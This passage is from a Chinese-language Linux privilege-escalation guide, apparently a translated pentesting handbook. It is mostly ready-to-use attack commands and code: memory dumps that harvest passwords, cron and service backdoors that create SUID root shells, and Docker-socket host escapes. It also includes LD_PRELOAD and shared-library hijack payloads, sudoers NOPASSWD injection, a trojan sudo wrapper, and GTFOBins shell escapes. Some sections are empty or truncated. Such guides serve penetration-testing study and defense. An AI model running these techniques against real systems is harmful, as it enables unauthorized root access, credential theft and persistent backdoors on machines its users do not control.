地址空间布局随机化

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker逃逸

如果你在一个Docker容器内部,你可以尝试从中逃脱:

驱动器

检查已挂载和未挂载的内容,以及它们的位置和原因。如果有任何未挂载的内容,你可以尝试挂载它并检查是否包含私人信息。

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

有用的软件

列举有用的可执行文件

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

另外,检查是否已安装任何编译器。如果需要使用某些内核利用技术,这将非常有用,因为建议在要使用该技术的机器上(或类似的机器上)进行编译。

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

已安装的易受攻击软件

检查已安装软件包和服务的版本。也许有一些旧的 Nagios 版本(例如)可能被利用来提升权限... 建议手动检查更可疑的已安装软件的版本。

dpkg -l #Debian
rpm -qa #Centos

如果您可以访问机器的SSH,您还可以使用openVAS来检查机器内安装的过时和易受攻击的软件。

请注意,这些命令将显示大量大多数情况下无用的信息,因此建议使用一些类似OpenVAS的应用程序,以检查安装的软件版本是否容易受到已知漏洞的影响

进程

查看正在执行的进程,并检查是否有任何进程具有比应有的更多权限(也许是由root执行的tomcat?)

ps aux
ps -ef
top -n 1

进程监控

进程内存

服务器的一些服务会在内存中以明文保存凭据。 通常,您需要root权限才能读取属于其他用户的进程的内存,因此当您已经是root并希望发现更多凭据时,这通常更有用。 但是,请记住作为普通用户,您可以读取自己拥有的进程的内存。

请注意,如今大多数机器默认不允许ptrace,这意味着您无法转储属于您非特权用户的其他进程。

文件 /proc/sys/kernel/yama/ptrace_scope 控制ptrace的可访问性:

  • kernel.yama.ptrace_scope = 0:只要它们具有相同的uid,所有进程都可以被调试。这是ptracing的经典方式。

  • kernel.yama.ptrace_scope = 1:只有父进程可以被调试。

  • kernel.yama.ptrace_scope = 2:只有管理员可以使用ptrace,因为它需要CAP_SYS_PTRACE功能。

  • kernel.yama.ptrace_scope = 3:不允许使用ptrace跟踪任何进程。设置后,需要重新启动才能再次启用ptracing。

GDB

如果您可以访问FTP服务的内存(例如),您可以获取Heap并在其中搜索凭据。

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB 脚本

dump-memory.sh
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

对于给定的进程ID,maps显示了该进程的虚拟地址空间内存是如何映射的;它还显示了每个映射区域的权限。mem伪文件暴露了进程的内存本身。从maps文件中,我们知道哪些内存区域是可读的以及它们的偏移量。我们利用这些信息定位到mem文件并将所有可读区域转储到文件中。

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem 提供对系统的物理内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用/dev/kmem来访问。通常,/dev/mem 只能被root和kmem组读取。

strings /dev/mem -n10 | grep -i PASS

ProcDump for Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

工具

要转储进程内存,您可以使用:

从进程内存中获取凭据

手动示例

如果您发现认证进程正在运行:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

您可以转储进程(查看前面的部分以找到转储进程内存的不同方法),并在内存中搜索凭据:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

功能
进程名称

GDM密码(Kali桌面,Debian桌面)

gdm-password

Gnome Keyring(Ubuntu桌面,ArchLinux桌面)

gnome-keyring-daemon

LightDM(Ubuntu桌面)

lightdm

VSFTPd(活动FTP连接)

vsftpd

Apache2(活动HTTP基本认证会话)

apache2

OpenSSH(活动SSH会话 - Sudo使用)

sshd:

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

定时任务/Cron 作业

检查是否有任何可被利用的定时任务。也许你可以利用由 root 执行的脚本(通配符漏洞?可以修改 root 使用的文件?使用符号链接?在 root 使用的目录中创建特定文件?)。

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron路径

例如,在_/etc/crontab_文件中,您可以找到路径:PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(请注意用户"user"对/home/user具有写入权限)

如果在这个crontab中,root用户尝试执行一些命令或脚本而没有设置路径。例如:* * * * root overwrite.sh 然后,您可以通过以下方式获取root shell:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

使用带通配符的脚本的 Cron 作业(通配符注入)

如果由 root 执行的脚本中的命令中包含“*”,您可以利用这一点执行意外操作(如权限提升)。示例:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

如果通配符前面有路径,比如 /some/path/* ,它就不会有漏洞(即使 ./* 也不会有漏洞)。

阅读以下页面了解更多通配符利用技巧:

Cron脚本覆盖和符号链接

如果你可以修改由root执行的cron脚本,你可以非常容易地获得一个shell:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

如果由root执行的脚本使用了你拥有完全访问权限的目录,也许删除该文件夹并创建一个符号链接文件夹到另一个文件夹,以便运行你控制的脚本可能会很有用。

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

频繁的 cron 作业

您可以监视进程,以搜索每隔 1、2 或 5 分钟执行一次的进程。也许您可以利用这一点来提升权限。

例如,要在 1 分钟内每 0.1 秒监视,按最少执行命令排序并删除已执行最多次的命令,您可以执行:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

隐形的定时任务

可以通过在注释后面插入一个回车符(没有换行符)来创建一个定时任务,这样定时任务将会生效。示例(请注意回车符):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

服务

可写的 .service 文件

检查是否可以写入任何 .service 文件,如果可以,您可以修改它以便在服务启动、重新启动或停止时执行您的后门(也许您需要等到机器重新启动)。 例如,在 .service 文件中创建您的后门,使用**ExecStart=/tmp/script.sh**

可写的服务二进制文件

请记住,如果您对服务执行的二进制文件具有写权限,您可以将它们更改为后门,这样当服务被重新执行时,后门将被执行。

systemd 路径 - 相对路径

您可以查看systemd使用的路径:

systemctl show-environment

如果发现您可以在路径中的任何文件夹中写入,则可能能够提升权限。您需要搜索服务配置文件中使用的相对路径,例如:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

然后,在您可以编写的systemd PATH文件夹中创建一个与相对路径二进制文件同名的可执行文件,当服务被要求执行易受攻击的操作(启动、停止、重新加载)时,您的后门将被执行(通常非特权用户无法启动/停止服务,但请检查是否可以使用 sudo -l)。

了解有关服务的更多信息,请使用 man systemd.service。

定时器

定时器是以**.timer**结尾的systemd单元文件,用于控制**.service**文件或事件。定时器可用作cron的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。

您可以使用以下命令枚举所有定时器:

systemctl list-timers --all

可写的定时器

如果您可以修改一个定时器,您可以让它执行一些 systemd.unit 中已存在的内容(比如 .service 或 .target)。

Unit=backdoor.service

在文档中,您可以阅读有关 Unit 的内容:

当此计时器到期时要激活的单元。参数是一个单元名称,其后缀不是 ".timer"。如果未指定,则此值默认为具有与计时器单元相同名称的服务,除了后缀。(见上文。)建议激活的单元名称和计时器单元的单元名称相同,除了后缀。

因此,要滥用此权限,您需要:

  • 找到一些 systemd 单元(如 .service),其中执行可写二进制文件

  • 找到一些 systemd 单元,其中执行相对路径,并且您对systemd 路径具有可写权限(以冒充该可执行文件)

通过 man systemd.timer 了解更多关于计时器的信息。

启用计时器

要启用计时器,您需要 root 权限并执行:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

注意计时器是通过在/etc/systemd/system/<WantedBy_section>.wants/<name>.timer上创建符号链接来激活的。

套接字

Unix域套接字(UDS)在客户端-服务器模型中允许在同一台或不同机器上进行进程通信。它们利用标准的Unix描述符文件进行计算机间通信,并通过.socket文件进行设置。

套接字可以使用.socket文件进行配置。

通过man systemd.socket了解更多关于套接字的信息。 在这个文件中,可以配置几个有趣的参数:

  • ListenStream、ListenDatagram、ListenSequentialPacket、ListenFIFO、ListenSpecial、ListenNetlink、ListenMessageQueue、ListenUSBFunction:这些选项不同,但总结起来用于指示它将在哪里监听套接字(AF_UNIX套接字文件的路径,要监听的IPv4/6和/或端口号等)。

  • Accept:接受一个布尔参数。如果为true,则为每个传入连接生成一个服务实例,并且只传递连接套接字给它。如果为false,则所有监听套接字本身都会传递给启动的服务单元,并且只为所有连接生成一个服务单元。对于数据报套接字和FIFO,在那里一个服务单元无条件地处理所有传入流量,此值将被忽略。默认为false。出于性能原因,建议仅以适合Accept=no的方式编写新的守护程序。

  • ExecStartPre、ExecStartPost:接受一个或多个命令行,这些命令行在创建和绑定监听套接字/FIFO之前或之后执行。命令行的第一个标记必须是绝对文件名,然后是进程的参数。

  • ExecStopPre、ExecStopPost:额外的命令,在关闭和移除监听套接字/FIFO之前或之后执行。

  • Service:指定在传入流量上激活的服务单元名称。此设置仅允许用于Accept=no的套接字。默认为与套接字同名的服务(后缀替换)。在大多数情况下,不应该需要使用此选项。

可写的.socket文件

如果找到一个可写的.socket文件,你可以在[Socket]部分的开头添加类似于:ExecStartPre=/home/kali/sys/backdoor,那么在创建套接字之前将执行后门。因此,你可能需要等待机器重新启动。 请注意系统必须使用该套接字文件配置,否则后门将不会被执行

可写套接字

如果你识别出任何可写套接字(现在我们谈论的是Unix套接字,而不是配置.socket文件),那么你可以与该套接字通信,也许利用一个漏洞。

枚举Unix套接字

netstat -a -p --unix

原始连接

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

利用示例:

HTTP sockets

请注意,可能有一些监听HTTP请求的套接字(我不是在说.socket文件,而是充当Unix套接字的文件)。您可以使用以下命令检查:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

可写的Docker套接字

Docker套接字通常位于/var/run/docker.sock,是一个关键文件,应该得到保护。默认情况下,它可被root用户和docker组的成员写入。拥有对此套接字的写入访问权限可能导致特权升级。以下是如何执行此操作的详细步骤,以及在无法使用Docker CLI时的替代方法。

使用Docker CLI进行特权升级

如果您对Docker套接字具有写入访问权限,则可以使用以下命令升级特权:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

这些命令允许您以根级访问主机文件系统来运行容器。

直接使用 Docker API

在没有 Docker CLI 的情况下,仍然可以使用 Docker API 和 curl 命令来操作 Docker 套接字。

  1. 列出 Docker 镜像: 检索可用镜像列表。

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. 创建容器: 发送请求以创建一个容器,该容器挂载主机系统的根目录。

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

启动新创建的容器:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. 附加到容器: 使用 socat 建立与容器的连接,从而在其中启用命令执行。

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

建立 socat 连接后,您可以直接在容器中执行命令,以根级访问主机文件系统。

其他

在以下位置检查更多从 Docker 中突破或滥用以提升权限的方法:

Containerd (ctr) 特权升级

如果您发现可以使用**ctr命令,请阅读以下页面,因为您可能能够滥用它来提升权限**:

RunC 特权升级

如果您发现可以使用**runc命令,请阅读以下页面,因为您可能能够滥用它来提升权限**:

D-Bus

D-Bus 是一种复杂的进程间通信(IPC)系统,使应用程序能够高效地交互和共享数据。设计时考虑到现代 Linux 系统,它为不同形式的应用程序通信提供了强大的框架。

该系统功能强大,支持增强数据交换的基本 IPC,类似于增强的 UNIX 域套接字。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,蓝牙守护程序发出有电话呼入的信号可能会提示音乐播放器静音,增强用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的流程。

D-Bus 采用允许/拒绝模型,根据匹配策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能通过利用这些权限的漏洞来提升权限。

在 /etc/dbus-1/system.d/wpa_supplicant.conf 中提供了一个示例策略,详细说明了允许根用户拥有、发送到和接收来自 fi.w1.wpa_supplicant1 的消息的权限。

未指定用户或组的策略适用于所有情况,而“default”上下文策略适用于所有未被其他特定策略覆盖的情况。

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

学习如何枚举和利用 D-Bus 通信:

网络

枚举网络并确定机器位置总是很有趣。

通用枚举

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

开放端口

在访问之前,始终检查在机器上运行的网络服务,这些服务可能是您无法与之交互的。

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

嗅探

检查是否可以嗅探流量。如果可以的话,你可能能够获取一些凭证。

timeout 1 tcpdump

用户

通用枚举

检查您是谁,拥有哪些特权,系统中有哪些用户,哪些用户可以登录,哪些用户具有root特权:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

大 UID

组

检查是否是某个组的成员,该组可能授予您root权限:

剪贴板

检查剪贴板中是否有任何有趣的内容(如果可能)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

密码策略

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

已知密码

如果你知道环境中的任何密码,尝试使用密码以每个用户身份登录。

Su Brute

可写的 PATH 滥用

$PATH

如果你发现你可以在$PATH的某个文件夹中写入,你可能可以通过在可写文件夹中创建一个后门,命名为将由不同用户(最好是root)执行的某个命令,且该命令不是从$PATH中位于你可写文件夹之前的文件夹加载。

SUDO 和 SUID

你可能被允许使用sudo执行某些命令,或者它们可能具有suid位。使用以下命令进行检查:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

一些意外的命令允许您读取和/或写入文件,甚至执行命令。 例如:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo配置可能允许用户在不知道密码的情况下以另一个用户的权限执行某些命令。

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

在这个例子中,用户demo可以作为root运行vim,现在可以通过将一个ssh密钥添加到root目录中或调用sh来轻松获得一个shell。

sudo vim -c '!sh'

SETENV

该指令允许用户在执行某些操作时设置环境变量:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

这个例子,基于HTB机器Admirer,存在PYTHONPATH劫持漏洞,可以在以root权限执行脚本时加载任意的Python库:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

绕过路径执行Sudo

跳转到其他文件或使用符号链接。例如,在sudoers文件中:hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

如果使用通配符(*),那就更容易了:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

没有指定命令路径的Sudo命令/SUID二进制文件

如果给予sudo权限给单个命令而没有指定路径:hacker10 ALL= (root) less,您可以通过更改PATH变量来利用它。

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

这种技术也可以用于suid二进制文件执行另一个命令而没有指定路径(始终使用 strings **检查奇怪的SUID二进制文件的内容)。

具有命令路径的SUID二进制文件

如果suid二进制文件执行另一个指定路径的命令,那么您可以尝试导出一个函数,命名为suid文件调用的命令。

例如,如果一个suid二进制文件调用 /usr/sbin/service apache2 start,您必须尝试创建并导出该函数:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

LD_PRELOAD & LD_LIBRARY_PATH

LD_PRELOAD环境变量用于指定要在加载器加载所有其他库之前加载的一个或多个共享库(.so文件)。这个过程被称为预加载库。

然而,为了维护系统安全并防止这个功能被滥用,特别是对于suid/sgid可执行文件,系统强制执行一些条件:

  • 加载器对于真实用户ID(ruid)与有效用户ID(euid)不匹配的可执行文件忽略LD_PRELOAD。

  • 对于suid/sgid的可执行文件,只有标准路径中也是suid/sgid的库会被预加载。

如果你有执行带有sudo的命令的能力,并且sudo -l的输出包含语句env_keep+=LD_PRELOAD,特权升级可能会发生。这个配置允许LD_PRELOAD环境变量持久存在并在使用sudo运行命令时被识别,可能导致以提升的权限执行任意代码。

Defaults        env_keep += LD_PRELOAD

保存为 /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

然后使用以下命令编译它:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

最后,提升权限运行

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

如果攻击者控制LD_LIBRARY_PATH环境变量,类似的权限提升攻击就可以被滥用,因为攻击者控制了库文件搜索的路径。

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID二进制文件 - .so注入

当遇到具有SUID权限且看起来不寻常的二进制文件时,最好验证它是否正确加载**.so**文件。可以通过运行以下命令来检查:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

例如,遇到类似 "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" 的错误表明存在潜在的利用可能。

要利用这个问题,可以通过创建一个名为 "/path/to/.config/libcalc.c" 的 C 文件,其中包含以下代码:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

这段代码一旦编译并执行,旨在通过操纵文件权限并以提升的权限执行shell来提升权限。

使用以下命令将上述C文件编译为共享对象(.so)文件:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

共享对象劫持

最后,运行受影响的SUID二进制文件应该触发漏洞利用,从而可能导致系统受损。

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

现在我们已经找到一个SUID二进制文件,它从一个我们可以写入的文件夹加载库,请在该文件夹中创建具有必要名称的库文件:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

如果你遇到类似以下错误:

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

这意味着你生成的库需要有一个名为a_function_name的函数。

GTFOBins

该项目收集了Unix二进制文件的合法功能,可被滥用以突破受限制的shell、提升或保持提升的特权、传输文件、生成绑定和反向shell,并促进其他后渗透任务。

gdb -nx -ex '!sh' -ex quit sudo mysql -e '! /bin/sh' strace -o /dev/null /bin/sh sudo awk 'BEGIN {system("/bin/sh")}'

FallOfSudo

重用Sudo令牌

在你拥有sudo访问权限但没有密码的情况下,你可以通过等待sudo命令执行然后劫持会话令牌来提升特权。

提升特权的要求:

  • 你已经作为用户"sampleuser"拥有一个shell

  • "sampleuser"已经使用sudo在最近15分钟内执行了某些操作(默认情况下,这是允许我们使用sudo而无需输入任何密码的sudo令牌的持续时间)

  • cat /proc/sys/kernel/yama/ptrace_scope为0

  • 可以访问gdb(你可以上传它)

(你可以使用echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope临时启用ptrace_scope,或者永久修改/etc/sysctl.d/10-ptrace.conf并设置kernel.yama.ptrace_scope = 0)

  • 第一个利用(exploit.sh)将在_tmp_中创建二进制文件activate_sudo_token。你可以使用它来激活你会话中的sudo令牌(你不会自动获得root shell,请执行sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • 第二个漏洞 (exploit_v2.sh) 将在 /tmp 目录中创建一个由 root 拥有并设置了 setuid 的 sh shell

bash exploit_v2.sh
/tmp/sh -p
  • 第三个漏洞利用 (exploit_v3.sh) 将创建一个 sudoers 文件,使 sudo 令牌永久有效,并允许所有用户使用 sudo

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<用户名>

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

文件/etc/sudoers和/etc/sudoers.d目录中的文件配置了谁可以使用sudo以及如何使用。这些文件默认情况下只能被root用户和root组读取。 如果你能读取这个文件,你可能能够获取一些有趣的信息,如果你能写入任何文件,你将能够提升权限。

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

如果你可以写入,你可以滥用这个权限

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

另一种滥用这些权限的方法:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

有一些替代sudo二进制文件的选择,比如OpenBSD的doas,记得检查其配置在/etc/doas.conf中。

permit nopass demo as root cmd vim

Sudo劫持

如果你知道一个用户通常连接到一台机器并使用 sudo 来提升权限,而你已经在该用户上下文中获得了一个shell,你可以创建一个新的sudo可执行文件,该文件将以root权限执行你的代码,然后执行用户的命令。然后,修改用户上下文中的$PATH(例如在 .bash_profile 中添加新路径),这样当用户执行sudo时,将执行你的sudo可执行文件。

或者运行类似以下内容:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

共享库

ld.so

文件/etc/ld.so.conf指示加载的配置文件来源。通常,此文件包含以下路径:include /etc/ld.so.conf.d/*.conf

这意味着将读取/etc/ld.so.conf.d/*.conf中的配置文件。这些配置文件指向其他文件夹,其中将搜索库。例如,/etc/ld.so.conf.d/libc.conf的内容是/usr/local/lib。这意味着系统将在/usr/local/lib内搜索库。

如果由于某种原因用户对所指示的任何路径:/etc/ld.so.conf、/etc/ld.so.conf.d/、/etc/ld.so.conf.d/内的任何文件或/etc/ld.so.conf.d/*.conf内的任何文件夹具有写权限,他可能能够升级权限。 查看如何在以下页面利用此错误配置:

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

通过将lib复制到/var/tmp/flag15/中,程序将在此位置使用它,如RPATH变量中指定的那样。

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

然后在/var/tmp中使用gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6创建一个恶意库。

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

能力

Linux 能力为进程提供了一部分可用的 root 特权。这有效地将 root 特权分割为更小且独特的单元。然后可以独立地将这些单元授予进程。这样,特权的完整集合被减少,降低了利用风险。 阅读以下页面以了解更多关于能力以及如何滥用它们:

目录权限

在目录中,"执行" 位意味着受影响的用户可以进入文件夹。 "读取" 位意味着用户可以列出文件,而**"写入"** 位意味着用户可以删除和创建新的文件。

ACLs

授予用户"kali"对文件的读取和写入权限:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

获取系统中具有特定ACL的文件:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

打开shell会话

